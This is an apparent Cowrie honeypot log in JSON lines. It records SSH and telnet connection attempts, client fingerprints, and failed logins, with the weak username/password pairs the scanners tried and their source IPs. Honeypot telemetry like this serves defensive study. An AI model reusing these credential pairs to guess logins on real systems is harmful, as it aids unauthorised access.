{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:26.302803Z","src_ip":"176.65.139.103","session":"cabf643cfdec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123","message":"login attempt [ubuntu/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:26.654815Z","src_ip":"176.65.139.103","session":"cabf643cfdec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:27.739471Z","src_ip":"176.65.139.103","session":"cabf643cfdec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":47000,"dst_ip":"10.17.0.5","dst_port":23,"session":"70ffc1546c10","protocol":"telnet","message":"New connection: 94.23.163.94:47000 (10.17.0.5:23) [session: 70ffc1546c10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:28.726068Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":48178,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae170180f17d","protocol":"ssh","message":"New connection: 80.94.92.182:48178 (10.17.0.5:22) [session: ae170180f17d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:28.742939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:28.853087Z","src_ip":"80.94.92.182","session":"ae170180f17d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:28.979074Z","src_ip":"80.94.92.182","session":"ae170180f17d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":42964,"dst_ip":"159.203.135.109","dst_port":23,"session":"73ff4325e917","protocol":"telnet","message":"New connection: 23.254.167.244:42964 (159.203.135.109:23) [session: 73ff4325e917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:29.410583Z"}
{"eventid":"cowrie.login.failed","username":"sol","password":"qwer1234","message":"login attempt [sol/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:29.684457Z","src_ip":"80.94.92.182","session":"ae170180f17d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:30.833023Z","src_ip":"80.94.92.182","session":"ae170180f17d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.072211742401123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:30.858530Z","src_ip":"94.23.163.94","session":"8bd97d8eea70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55428,"dst_ip":"10.17.0.5","dst_port":22,"session":"301cdb2c8eb6","protocol":"ssh","message":"New connection: 176.65.139.103:55428 (10.17.0.5:22) [session: 301cdb2c8eb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:32.700202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:32.706948Z","src_ip":"176.65.139.103","session":"301cdb2c8eb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:32.809251Z","src_ip":"176.65.139.103","session":"301cdb2c8eb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.589616537094116,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:32.919077Z","src_ip":"5.189.178.126","session":"5552fdf130cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.793684720993042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:33.090714Z","src_ip":"94.23.163.94","session":"067b06146ec5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:33.152922Z","src_ip":"176.65.139.103","session":"301cdb2c8eb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.135029792785645,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:33.788381Z","src_ip":"23.254.167.244","session":"3af4624374a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:34.274776Z","src_ip":"176.65.139.103","session":"301cdb2c8eb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.976221323013306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:34.289674Z","src_ip":"5.189.169.71","session":"b2673b86496f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.020841360092163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:35.821946Z","src_ip":"94.23.163.94","session":"fbaedafe3190","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":51256,"dst_ip":"159.203.135.109","dst_port":23,"session":"52990811dac0","protocol":"telnet","message":"New connection: 23.254.167.244:51256 (159.203.135.109:23) [session: 52990811dac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:36.622395Z"}
{"eventid":"cowrie.session.closed","duration":30.2027325630188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:37.048709Z","src_ip":"94.23.163.94","session":"e7d0b60d3d42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.3956139087677,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:39.039707Z","src_ip":"23.254.167.244","session":"45cf3ec8c2af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.551811695098877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:39.117301Z","src_ip":"5.189.169.71","session":"7a2e282faf32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":33702,"dst_ip":"10.17.0.5","dst_port":22,"session":"60d24e4c675c","protocol":"ssh","message":"New connection: 176.65.139.103:33702 (10.17.0.5:22) [session: 60d24e4c675c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:39.288842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:39.293519Z","src_ip":"176.65.139.103","session":"60d24e4c675c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:39.377901Z","src_ip":"176.65.139.103","session":"60d24e4c675c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:39.633809Z","src_ip":"176.65.139.103","session":"60d24e4c675c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:40.719770Z","src_ip":"176.65.139.103","session":"60d24e4c675c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":38680,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9e7f304509c","protocol":"ssh","message":"New connection: 74.87.117.149:38680 (10.17.0.5:22) [session: f9e7f304509c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:41.257201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:41.261014Z","src_ip":"74.87.117.149","session":"f9e7f304509c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:41.286603Z","src_ip":"74.87.117.149","session":"f9e7f304509c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin12","message":"login attempt [ubuntu/admin12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:41.413888Z","src_ip":"74.87.117.149","session":"f9e7f304509c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.358683824539185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:42.055619Z","src_ip":"5.189.178.126","session":"69f2693a1164","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":57662,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccc388ecfe48","protocol":"telnet","message":"New connection: 5.189.169.71:57662 (10.17.0.5:23) [session: ccc388ecfe48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:42.343050Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:42.440456Z","src_ip":"74.87.117.149","session":"f9e7f304509c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":57670,"dst_ip":"10.17.0.5","dst_port":23,"session":"e202bf55293a","protocol":"telnet","message":"New connection: 5.189.169.71:57670 (10.17.0.5:23) [session: e202bf55293a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:43.632479Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":56652,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fd7a11f85e8","protocol":"telnet","message":"New connection: 94.23.163.94:56652 (10.17.0.5:23) [session: 0fd7a11f85e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:43.960945Z"}
{"eventid":"cowrie.session.closed","duration":30.54339575767517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:44.068368Z","src_ip":"65.108.71.177","session":"de7edce83b9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69891619682312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:44.273775Z","src_ip":"94.23.163.94","session":"9d83d3b9a328","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75624442100525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:45.302683Z","src_ip":"65.108.71.177","session":"b0ed355bf2bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":48764,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc2ee8cc57a8","protocol":"ssh","message":"New connection: 176.65.139.103:48764 (10.17.0.5:22) [session: cc2ee8cc57a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:45.403238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:45.407896Z","src_ip":"176.65.139.103","session":"cc2ee8cc57a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":34762,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef82c6c55837","protocol":"telnet","message":"New connection: 23.254.167.244:34762 (159.203.135.109:23) [session: ef82c6c55837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:45.421248Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:45.489589Z","src_ip":"176.65.139.103","session":"cc2ee8cc57a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:45.744975Z","src_ip":"176.65.139.103","session":"cc2ee8cc57a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:46.833222Z","src_ip":"176.65.139.103","session":"cc2ee8cc57a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.57371711730957,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:46.937771Z","src_ip":"23.254.167.244","session":"de0d398b193d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":36628,"dst_ip":"159.203.135.109","dst_port":23,"session":"582625d7e862","protocol":"telnet","message":"New connection: 23.254.167.244:36628 (159.203.135.109:23) [session: 582625d7e862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:47.315438Z"}
{"eventid":"cowrie.session.closed","duration":30.779772520065308,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:49.391269Z","src_ip":"94.23.163.94","session":"ec20a9f1ceb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.30387043952942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:50.151187Z","src_ip":"94.23.163.94","session":"30b1f8125c68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":56664,"dst_ip":"10.17.0.5","dst_port":23,"session":"b057febde406","protocol":"telnet","message":"New connection: 94.23.163.94:56664 (10.17.0.5:23) [session: b057febde406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:50.588796Z"}
{"eventid":"cowrie.session.closed","duration":36.67110061645508,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:50.780212Z","src_ip":"23.254.167.244","session":"a01db0d3cb55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":48770,"dst_ip":"10.17.0.5","dst_port":22,"session":"3644829dfa68","protocol":"ssh","message":"New connection: 176.65.139.103:48770 (10.17.0.5:22) [session: 3644829dfa68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:52.005339Z"}
